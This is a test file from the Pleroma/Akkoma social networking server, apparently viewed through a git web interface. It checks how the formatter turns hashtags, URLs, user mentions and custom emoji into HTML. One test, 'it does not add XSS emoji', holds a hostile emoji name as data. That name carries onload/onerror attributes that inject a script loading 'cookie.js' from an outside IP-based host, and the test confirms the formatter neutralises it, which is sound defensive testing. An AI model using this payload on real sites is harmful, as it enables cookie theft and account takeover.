git.squeep.com Git - akkoma/blob - test/formatter_test.exs

   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.FormatterTest do
   6   alias Pleroma.Formatter
   7   alias Pleroma.User
   8   use Pleroma.DataCase
   9
  10   import Pleroma.Factory
  11
  12   setup_all do
  13     Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  14     :ok
  15   end
  16
  17   describe ".add_hashtag_links" do
  18     test "turns hashtags into links" do
  19       text = "I love #cofe and #2hu"
  20
  21       expected_text =
  22         "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  23
  24       assert {^expected_text, [], _tags} = Formatter.linkify(text)
  25     end
  26
  27     test "does not turn html characters to tags" do
  28       text = "#fact_3: pleroma does what mastodon't"
  29
  30       expected_text =
  31         "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
  32
  33       assert {^expected_text, [], _tags} = Formatter.linkify(text)
  34     end
  35   end
  36
  37   describe ".add_links" do
  38     test "turning urls into links" do
  39       text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  40
  41       expected =
  42         ~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)
  43
  44       assert {^expected, [], []} = Formatter.linkify(text)
  45
  46       text = "https://mastodon.social/@lambadalambda"
  47
  48       expected =
  49         ~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)
  50
  51       assert {^expected, [], []} = Formatter.linkify(text)
  52
  53       text = "https://mastodon.social:4000/@lambadalambda"
  54
  55       expected =
  56         ~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)
  57
  58       assert {^expected, [], []} = Formatter.linkify(text)
  59
  60       text = "@lambadalambda"
  61       expected = "@lambadalambda"
  62
  63       assert {^expected, [], []} = Formatter.linkify(text)
  64
  65       text = "http://www.cs.vu.nl/~ast/intel/"
  66
  67       expected =
  68         ~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)
  69
  70       assert {^expected, [], []} = Formatter.linkify(text)
  71
  72       text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  73
  74       expected =
  75         "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  76
  77       assert {^expected, [], []} = Formatter.linkify(text)
  78
  79       text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  80
  81       expected =
  82         "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  83
  84       assert {^expected, [], []} = Formatter.linkify(text)
  85
  86       text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  87
  88       expected =
  89         "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  90
  91       assert {^expected, [], []} = Formatter.linkify(text)
  92
  93       text = "https://en.wikipedia.org/wiki/Duff's_device"
  94
  95       expected =
  96         "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  97
  98       assert {^expected, [], []} = Formatter.linkify(text)
  99
 100       text = "https://pleroma.com https://pleroma.com/sucks"
 101
 102       expected =
 103         "<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"
 104
 105       assert {^expected, [], []} = Formatter.linkify(text)
 106
 107       text = "xmpp:contact@hacktivis.me"
 108
 109       expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"
 110
 111       assert {^expected, [], []} = Formatter.linkify(text)
 112
 113       text =
 114         "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
 115
 116       expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"
 117
 118       assert {^expected, [], []} = Formatter.linkify(text)
 119     end
 120   end
 121
 122   describe "add_user_links" do
 123     test "gives a replacement for user links, using local nicknames in user links text" do
 124       text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
 125       gsimg = insert(:user, %{nickname: "gsimg"})
 126
 127       archaeme =
 128         insert(:user, %{
 129           nickname: "archa_eme_",
 130           info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
 131         })
 132
 133       archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 134
 135       {text, mentions, []} = Formatter.linkify(text)
 136
 137       assert length(mentions) == 3
 138
 139       expected_text =
 140         "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
 141           gsimg.ap_id
 142         }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
 143           archaeme.id
 144         }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
 145           archaeme_remote.id
 146         }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
 147
 148       assert expected_text == text
 149     end
 150
 151     test "gives a replacement for user links when the user is using Osada" do
 152       {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")
 153
 154       text = "@mike@osada.macgirvin.com test"
 155
 156       {text, mentions, []} = Formatter.linkify(text)
 157
 158       assert length(mentions) == 1
 159
 160       expected_text =
 161         "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
 162
 163       assert expected_text == text
 164     end
 165
 166     test "gives a replacement for single-character local nicknames" do
 167       text = "@o hi"
 168       o = insert(:user, %{nickname: "o"})
 169
 170       {text, mentions, []} = Formatter.linkify(text)
 171
 172       assert length(mentions) == 1
 173
 174       expected_text =
 175         "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
 176
 177       assert expected_text == text
 178     end
 179
 180     test "does not give a replacement for single-character local nicknames who don't exist" do
 181       text = "@a hi"
 182
 183       expected_text = "@a hi"
 184       assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
 185     end
 186
 187     test "given the 'safe_mention' option, it will only mention people in the beginning" do
 188       user = insert(:user)
 189       other_user = insert(:user)
 190       third_user = insert(:user)
 191       text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
 192       {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
 193
 194       assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
 195
 196       assert expected_text ==
 197                "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
 198                  user.ap_id
 199                }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
 200                  other_user.id
 201                }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
 202                  third_user.id
 203                }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
 204     end
 205
 206     test "given the 'safe_mention' option, it will still work without any mention" do
 207       text = "A post without any mention"
 208       {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
 209
 210       assert mentions == []
 211       assert expected_text == text
 212     end
 213
 214     test "given the 'safe_mention' option, it will keep text after newlines" do
 215       user = insert(:user)
 216       text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
 217
 218       {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
 219
 220       assert expected_text =~ "how are you doing?"
 221     end
 222   end
 223
 224   describe ".parse_tags" do
 225     test "parses tags in the text" do
 226       text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"
 227
 228       expected_tags = [
 229         {"#Test", "test"},
 230         {"#working", "working"},
 231         {"#は", "は"},
 232         {"#漢字", "漢字"}
 233       ]
 234
 235       assert {_text, [], ^expected_tags} = Formatter.linkify(text)
 236     end
 237   end
 238
 239   test "it can parse mentions and return the relevant users" do
 240     text =
 241       "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
 242
 243     o = insert(:user, %{nickname: "o"})
 244     jimm = insert(:user, %{nickname: "jimm"})
 245     gsimg = insert(:user, %{nickname: "gsimg"})
 246     archaeme = insert(:user, %{nickname: "archaeme"})
 247     archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 248
 249     expected_mentions = [
 250       {"@archaeme", archaeme},
 251       {"@archaeme@archae.me", archaeme_remote},
 252       {"@gsimg", gsimg},
 253       {"@jimm", jimm},
 254       {"@o", o}
 255     ]
 256
 257     assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
 258   end
 259
 260   test "it adds cool emoji" do
 261     text = "I love :firefox:"
 262
 263     expected_result =
 264       "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
 265
 266     assert Formatter.emojify(text) == expected_result
 267   end
 268
 269   test "it does not add XSS emoji" do
 270     text =
 271       "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
 272
 273     custom_emoji = %{
 274       "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
 275         "https://placehold.it/1x1"
 276     }
 277
 278     expected_result =
 279       "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
 280
 281     assert Formatter.emojify(text, custom_emoji) == expected_result
 282   end
 283
 284   test "it returns the emoji used in the text" do
 285     text = "I love :firefox:"
 286
 287     assert Formatter.get_emoji(text) == [
 288              {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
 289            ]
 290   end
 291
 292   test "it returns a nice empty result when no emojis are present" do
 293     text = "I love moominamma"
 294     assert Formatter.get_emoji(text) == []
 295   end
 296
 297   test "it doesn't die when text is absent" do
 298     text = nil
 299     assert Formatter.get_emoji(text) == []
 300   end
 301
 302   test "it escapes HTML in plain text" do
 303     text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
 304     expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
 305
 306     assert Formatter.html_escape(text, "text/plain") == expected
 307   end
 308 end